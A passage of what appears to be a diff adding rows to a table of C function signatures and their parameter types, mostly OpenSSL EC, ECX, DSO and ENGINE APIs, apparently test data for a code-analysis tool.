*,const char *,DSO_METHOD *,int) | | DSO_load | 0 | DSO * | +| (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 1 | const char * | +| (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 2 | DSO_METHOD * | +| (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 3 | int | +| (DSO *,int,long,void *) | | DSO_ctrl | 0 | DSO * | +| (DSO *,int,long,void *) | | DSO_ctrl | 1 | int | +| (DSO *,int,long,void *) | | DSO_ctrl | 2 | long | +| (DSO *,int,long,void *) | | DSO_ctrl | 3 | void * | | (DWORD &,LPCTSTR) | CRegKey | QueryValue | 0 | DWORD & | | (DWORD &,LPCTSTR) | CRegKey | QueryValue | 1 | LPCTSTR | +| (ECDSA_SIG **,const unsigned char **,long) | | d2i_ECDSA_SIG | 0 | ECDSA_SIG ** | +| (ECDSA_SIG **,const unsigned char **,long) | | d2i_ECDSA_SIG | 1 | const unsigned char ** | +| (ECDSA_SIG **,const unsigned char **,long) | | d2i_ECDSA_SIG | 2 | long | +| (ECDSA_SIG *,BIGNUM *,BIGNUM *) | | ECDSA_SIG_set0 | 0 | ECDSA_SIG * | +| (ECDSA_SIG *,BIGNUM *,BIGNUM *) | | ECDSA_SIG_set0 | 1 | BIGNUM * | +| (ECDSA_SIG *,BIGNUM *,BIGNUM *) | | ECDSA_SIG_set0 | 2 | BIGNUM * | +| (ECPARAMETERS *) | | ECPARAMETERS_free | 0 | ECPARAMETERS * | +| (ECPKPARAMETERS *) | | ECPKPARAMETERS_free | 0 | ECPKPARAMETERS * | +| (ECPKPARAMETERS **,const unsigned char **,long) | | d2i_ECPKPARAMETERS | 0 | ECPKPARAMETERS ** | +| (ECPKPARAMETERS **,const unsigned char **,long) | | d2i_ECPKPARAMETERS | 1 | const unsigned char ** | +| (ECPKPARAMETERS **,const unsigned char **,long) | | d2i_ECPKPARAMETERS | 2 | long | +| (ECX_KEY *) | | ossl_ecx_key_allocate_privkey | 0 | ECX_KEY * | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED448_PUBKEY | 0 | ECX_KEY ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED448_PUBKEY | 1 | const unsigned char ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED448_PUBKEY | 2 | long | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED25519_PUBKEY | 0 | ECX_KEY ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED25519_PUBKEY | 1 | const unsigned char ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED25519_PUBKEY | 2 | long | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X448_PUBKEY | 0 | ECX_KEY ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X448_PUBKEY | 1 | const unsigned char ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X448_PUBKEY | 2 | long | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X25519_PUBKEY | 0 | ECX_KEY ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X25519_PUBKEY | 1 | const unsigned char ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X25519_PUBKEY | 2 | long | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 0 | ECX_KEY * | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 1 | ECX_KEY * | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 2 | size_t | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 3 | unsigned char * | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 4 | size_t * | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 5 | size_t | +| (ECX_KEY *,OSSL_LIB_CTX *) | | ossl_ecx_key_set0_libctx | 0 | ECX_KEY * | +| (ECX_KEY *,OSSL_LIB_CTX *) | | ossl_ecx_key_set0_libctx | 1 | OSSL_LIB_CTX * | +| (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 0 | ECX_KEY * | +| (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 1 | const OSSL_PARAM[] | +| (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | int | +| (EC_GROUP **,const unsigned char **,long) | | d2i_ECPKParameters | 0 | EC_GROUP ** | +| (EC_GROUP **,const unsigned char **,long) | | d2i_ECPKParameters | 1 | const unsigned char ** | +| (EC_GROUP **,const unsigned char **,long) | | d2i_ECPKParameters | 2 | long | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 0 | EC_GROUP * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 1 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 2 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 3 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 4 | BN_CTX * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 0 | EC_GROUP * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 1 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 2 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 3 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 4 | BN_CTX * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 0 | EC_GROUP * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 1 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 2 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 3 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 4 | BN_CTX * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 0 | EC_GROUP * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 1 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 2 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 3 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 4 | BN_CTX * | +| (EC_GROUP *,const EC_GROUP *) | | EC_GROUP_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | EC_GROUP_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GF2m_simple_group_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GF2m_simple_group_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_mont_group_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_mont_group_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_nist_group_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_nist_group_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_simple_group_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_simple_group_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *) | | EC_GROUP_set_generator | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *) | | EC_GROUP_set_generator | 1 | const EC_POINT * | +| (EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *) | | EC_GROUP_set_generator | 2 | const BIGNUM * | +| (EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *) | | EC_GROUP_set_generator | 3 | const BIGNUM * | +| (EC_GROUP *,const OSSL_PARAM[]) | | ossl_ec_group_set_params | 0 | EC_GROUP * | +| (EC_GROUP *,const OSSL_PARAM[]) | | ossl_ec_group_set_params | 1 | const OSSL_PARAM[] | +| (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 0 | EC_GROUP * | +| (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 1 | const unsigned char * | +| (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | size_t | +| (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 0 | EC_GROUP * | +| (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | int | +| (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 0 | EC_GROUP * | +| (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | int | +| (EC_GROUP *,point_conversion_form_t) | | EC_GROUP_set_point_conversion_form | 0 | EC_GROUP * | +| (EC_GROUP *,point_conversion_form_t) | | EC_GROUP_set_point_conversion_form | 1 | point_conversion_form_t | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECParameters | 0 | EC_KEY ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECParameters | 1 | const unsigned char ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECParameters | 2 | long | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECPrivateKey | 0 | EC_KEY ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECPrivateKey | 1 | const unsigned char ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECPrivateKey | 2 | long | +| (EC_KEY **,const unsigned char **,long) | | d2i_EC_PUBKEY | 0 | EC_KEY ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_EC_PUBKEY | 1 | const unsigned char ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_EC_PUBKEY | 2 | long | +| (EC_KEY **,const unsigned char **,long) | | o2i_ECPublicKey | 0 | EC_KEY ** | +| (EC_KEY **,const unsigned char **,long) | | o2i_ECPublicKey | 1 | const unsigned char ** | +| (EC_KEY **,const unsigned char **,long) | | o2i_ECPublicKey | 2 | long | +| (EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **) | | ossl_ecdsa_simple_sign_setup | 0 | EC_KEY * | +| (EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **) | | ossl_ecdsa_simple_sign_setup | 1 | BN_CTX * | +| (EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **) | | ossl_ecdsa_simple_sign_setup | 2 | BIGNUM ** | +| (EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **) | | ossl_ecdsa_simple_sign_setup | 3 | BIGNUM ** | +| (EC_KEY *,OSSL_LIB_CTX *) | | ossl_ec_key_set0_libctx | 0 | EC_KEY * | +| (EC_KEY *,OSSL_LIB_CTX *) | | ossl_ec_key_set0_libctx | 1 | OSSL_LIB_CTX * | +| (EC_KEY *,const BIGNUM *) | | EC_KEY_set_private_key | 0 | EC_KEY * | +| (EC_KEY *,const BIGNUM *) | | EC_KEY_set_private_key | 1 | const BIGNUM * | +| (EC_KEY *,const EC_GROUP *) | | EC_KEY_set_group | 0 | EC_KEY * | +| (EC_KEY *,const EC_GROUP *) | | EC_KEY_set_group | 1 | const EC_GROUP * | +| (EC_KEY *,const EC_KEY *) | | EC_KEY_copy | 0 | EC_KEY * | +| (EC_KEY *,const EC_KEY *) | | EC_KEY_copy | 1 | const EC_KEY * | +| (EC_KEY *,const EC_KEY_METHOD *) | | EC_KEY_set_method | 0 | EC_KEY * | +| (EC_KEY *,const EC_KEY_METHOD *) | | EC_KEY_set_method | 1 | const EC_KEY_METHOD * | +| (EC_KEY *,const OSSL_PARAM[]) | | ossl_ec_group_fromdata | 0 | EC_KEY * | +| (EC_KEY *,const OSSL_PARAM[]) | | ossl_ec_group_fromdata | 1 | const OSSL_PARAM[] | +| (EC_KEY *,const OSSL_PARAM[]) | | ossl_ec_key_otherparams_fromdata | 0 | EC_KEY * | +| (EC_KEY *,const OSSL_PARAM[]) | | ossl_ec_key_otherparams_fromdata | 1 | const OSSL_PARAM[] | +| (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 0 | EC_KEY * | +| (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 1 | const OSSL_PARAM[] | +| (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | int | +| (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 0 | EC_KEY * | +| (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 1 | const unsigned char * | +| (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | size_t | +| (EC_KEY *,const unsigned char *,size_t,BN_CTX *) | | EC_KEY_oct2key | 0 | EC_KEY * | +| (EC_KEY *,const unsigned char *,size_t,BN_CTX *) | | EC_KEY_oct2key | 1 | const unsigned char * | +| (EC_KEY *,const unsigned char *,size_t,BN_CTX *) | | EC_KEY_oct2key | 2 | size_t | +| (EC_KEY *,const unsigned char *,size_t,BN_CTX *) | | EC_KEY_oct2key | 3 | BN_CTX * | +| (EC_KEY *,int) | | EC_KEY_clear_flags | 0 | EC_KEY * | +| (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | int | +| (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 0 | EC_KEY * | +| (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | int | +| (EC_KEY *,int) | | EC_KEY_set_flags | 0 | EC_KEY * | +| (EC_KEY *,int) | | EC_KEY_set_flags | 1 | int | +| (EC_KEY *,point_conversion_form_t) | | EC_KEY_set_conv_form | 0 | EC_KEY * | +| (EC_KEY *,point_conversion_form_t) | | EC_KEY_set_conv_form | 1 | point_conversion_form_t | +| (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 0 | EC_KEY * | +| (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 1 | unsigned int | +| (EC_KEY_METHOD *,..(*)(..)) | | EC_KEY_METHOD_set_compute_key | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..)) | | EC_KEY_METHOD_set_compute_key | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..)) | | EC_KEY_METHOD_set_keygen | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..)) | | EC_KEY_METHOD_set_keygen | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_verify | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_verify | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_verify | 2 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_sign | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_sign | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_sign | 2 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_sign | 3 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 2 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 3 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 4 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 5 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 6 | ..(*)(..) | +| (EC_POINT *,const EC_POINT *) | | ossl_ec_GF2m_simple_point_copy | 0 | EC_POINT * | +| (EC_POINT *,const EC_POINT *) | | ossl_ec_GF2m_simple_point_copy | 1 | const EC_POINT * | +| (EC_POINT *,const EC_POINT *) | | ossl_ec_GFp_simple_point_copy | 0 | EC_POINT * | +| (EC_POINT *,const EC_POINT *) | | ossl_ec_GFp_simple_point_copy | 1 | const EC_POINT * | +| (EC_PRE_COMP *) | | EC_ec_pre_comp_dup | 0 | EC_PRE_COMP * | +| (EC_PRIVATEKEY *) | | EC_PRIVATEKEY_free | 0 | EC_PRIVATEKEY * | +| (EC_PRIVATEKEY **,const unsigned char **,long) | | d2i_EC_PRIVATEKEY | 0 | EC_PRIVATEKEY ** | +| (EC_PRIVATEKEY **,const unsigned char **,long) | | d2i_EC_PRIVATEKEY | 1 | const unsigned char ** | +| (EC_PRIVATEKEY **,const unsigned char **,long) | | d2i_EC_PRIVATEKEY | 2 | long | +| (EDIPARTYNAME *) | | EDIPARTYNAME_free | 0 | EDIPARTYNAME * | +| (EDIPARTYNAME **,const unsigned char **,long) | | d2i_EDIPARTYNAME | 0 | EDIPARTYNAME ** | +| (EDIPARTYNAME **,const unsigned char **,long) | | d2i_EDIPARTYNAME | 1 | const unsigned char ** | +| (EDIPARTYNAME **,const unsigned char **,long) | | d2i_EDIPARTYNAME | 2 | long | +| (ENGINE *) | | DH_new_method | 0 | ENGINE * | +| (ENGINE *) | | DSA_new_method | 0 | ENGINE * | +| (ENGINE *) | | EC_KEY_new_method | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_add | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_get_next | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_get_prev | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_DH | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_DSA | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_EC | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_RAND | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_RSA | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_ciphers | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_digests | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_pkey_asn1_meths | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_pkey_meths | 0 | ENGINE * | +| (ENGINE *) | | RSA_new_method | 0 | ENGINE * | +| (ENGINE *,ENGINE_CIPHERS_PTR) | | ENGINE_set_ciphers | 0 | ENGINE * | +| (ENGINE *,ENGINE_CIPHERS_PTR) | | ENGINE_set_ciphers | 1 | ENGINE_CIPHERS_PTR | +| (ENGINE *,ENGINE_CTRL_FUNC_PTR) | | ENGINE_set_ctrl_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_CTRL_FUNC_PTR) | | ENGINE_set_ctrl_function | 1 | ENGINE_CTRL_FUNC_PTR | +| (ENGINE *,ENGINE_DIGESTS_PTR) | | ENGINE_set_digests | 0 | ENGINE * | +| (ENGINE *,ENGINE_DIGESTS_PTR) | | ENGINE_set_digests | 1 | ENGINE_DIGESTS_PTR | +| (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 0 | ENGINE * | +| (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 1 | ENGINE_DYNAMIC_ID | +| (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | int | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_destroy_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_destroy_function | 1 | ENGINE_GEN_INT_FUNC_PTR | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_finish_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_finish_function | 1 | ENGINE_GEN_INT_FUNC_PTR | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_init_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_init_function | 1 | ENGINE_GEN_INT_FUNC_PTR | +| (ENGINE *,ENGINE_LOAD_KEY_PTR) | | ENGINE_set_load_privkey_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_LOAD_KEY_PTR) | | ENGINE_set_load_privkey_function | 1 | ENGINE_LOAD_KEY_PTR | +| (ENGINE *,ENGINE_LOAD_KEY_PTR) | | ENGINE_set_load_pubkey_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_LOAD_KEY_PTR) | | ENGINE_set_load_pubkey_function | 1 | ENGINE_LOAD_KEY_PTR | +| (ENGINE *,ENGINE_PKEY_ASN1_METHS_PTR) | | ENGINE_set_pkey_asn1_meths | 0 | ENGINE * | +| (ENGINE *,ENGINE_PKEY_ASN1_METHS_PTR) | | ENGINE_set_pkey_asn1_meths | 1 | ENGINE_PKEY_ASN1_METHS_PTR | +| (ENGINE *,ENGINE_PKEY_METHS_PTR) | | ENGINE_set_pkey_meths | 0 | ENGINE * | +| (ENGINE *,ENGINE_PKEY_METHS_PTR) | | ENGINE_set_pkey_meths | 1 | ENGINE_PKEY_METHS_PTR | +| (ENGINE *,ENGINE_SSL_CLIENT_CERT_PTR) | | ENGINE_set_load_ssl_client_cert_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_SSL_CLIENT_CERT_PTR) | | ENGINE_set_load_ssl_client_cert_function | 1 | ENGINE_SSL_CLIENT_CERT_PTR | +| (ENGINE *,const DH_METHOD *) | | ENGINE_set_DH | 0 | ENGINE * | +| (ENGINE *,const DH_METHOD *) | | ENGINE_set_DH | 1 | const DH_METHOD * | +| (ENGINE *,const DSA_METHOD *) | | ENGINE_set_DSA | 0 | ENGINE * | +| (ENGINE *,const DSA_METHOD *) | | ENGINE_set_DSA | 1 | const DSA_METHOD * | +| (ENGINE *,const EC_KEY_METHOD *) | | ENGINE_set_EC | 0 | ENGINE * | +| (ENGINE *,const EC_KEY_METHOD *) | | ENGINE_set_EC | 1 | const EC_KEY_METHOD * | +| (ENGINE *,const ENGINE_CMD_DEFN *) | | ENGINE_set_cmd_defns | 0 | ENGINE * | +| (ENGINE *,const ENGINE_CMD_DEFN *) | | ENGINE_set_cmd_defns | 1 | const ENGINE_CMD_DEFN * | +| (ENGINE *,const RAND_METHOD *) | | ENGINE_set_RAND | 0 | ENGINE * | +| (ENGINE *,const RAND_METHOD *) | | ENGINE_set_RAND | 1 | const RAND_METHOD * | +| (ENGINE *,const RSA_METHOD *) | | ENGINE_set_RSA | 0 | ENGINE * | +| (ENGINE *,const RSA_METHOD *) | | ENGINE_set_RSA | 1 | const RSA_METHOD * | +| (ENGINE *,const char *) | | ENGINE_set_id | 0 | ENGINE * | +| (ENGINE *,const char *) | | ENGINE_set_id | 1 | const char * | +| (ENGINE *,const char *) | | ENGINE_set_name | 0 | ENGINE * | +| (ENGINE *,const char *) | | ENGINE_set_name | 1 | const char * | +| (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 0 | ENGINE * | +| (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | const char * | +| (ENGINE *,const char *,const char *) | | make_engine_uri | 0 | ENGINE * | +| (ENGINE *,const char *,const char *) | | make_engine_uri | 1 | const char * | +| (ENGINE *,const char *,const char *) | | make_engine_uri | 2 | const char * | +| (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 0 | ENGINE * | +| (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 1 | const char * | +| (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 2 | const char * | +| (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 3 | int | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 0 | ENGINE * | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 1 | const char * | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 2 | long | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 3 | void * | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 4 | ..(*)(..) | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 5 | int | +| (ENGINE *,int) | | ENGINE_cmd_is_executable | 0 | ENGINE * | +| (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | int | +| (ENGINE *,int) | | ENGINE_set_flags | 0 | ENGINE * | +| (ENGINE *,int) | | ENGINE_set_flags | 1 | int | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 0 | ENGINE * | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 1 | int | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 2 | long | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 3 | void * | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 4 | ..(*)(..) | +| (ENGINE_TABLE **) | | engine_table_cleanup | 0 | ENGINE_TABLE ** | +| (ENGINE_TABLE **,ENGINE *) | | engine_table_unregister | 0 | ENGINE_TABLE ** | +| (ENGINE_TABLE **,ENGINE *) | | engine_table_unregister | 1 | ENGINE * | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 0 | ENGINE_TABLE ** | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 1 | ENGINE_CLEANUP_CB * | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 2 | ENGINE * | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 3 | const int * | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 4 | int | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 5 | int | +| (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 0 | ENGINE_TABLE ** | +| (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 1 | int | +| (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 2 | const char * | +| (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 3 | int | +| (ESS_CERT_ID *) | | ESS_CERT_ID_free | 0 | ESS_CERT_ID * | +| (ESS_CERT_ID **,const unsigned char **,long) | | d2i_ESS_CERT_ID | 0 | ESS_CERT_ID ** | +| (ESS_CERT_ID **,const unsigned char **,long) | | d2i_ESS_CERT_ID | 1 | const unsigned char ** | +| (ESS_CERT_ID **,const unsigned char **,long) | | d2i_ESS_CERT_ID | 2 | long | +| (ESS_CERT_ID_V2 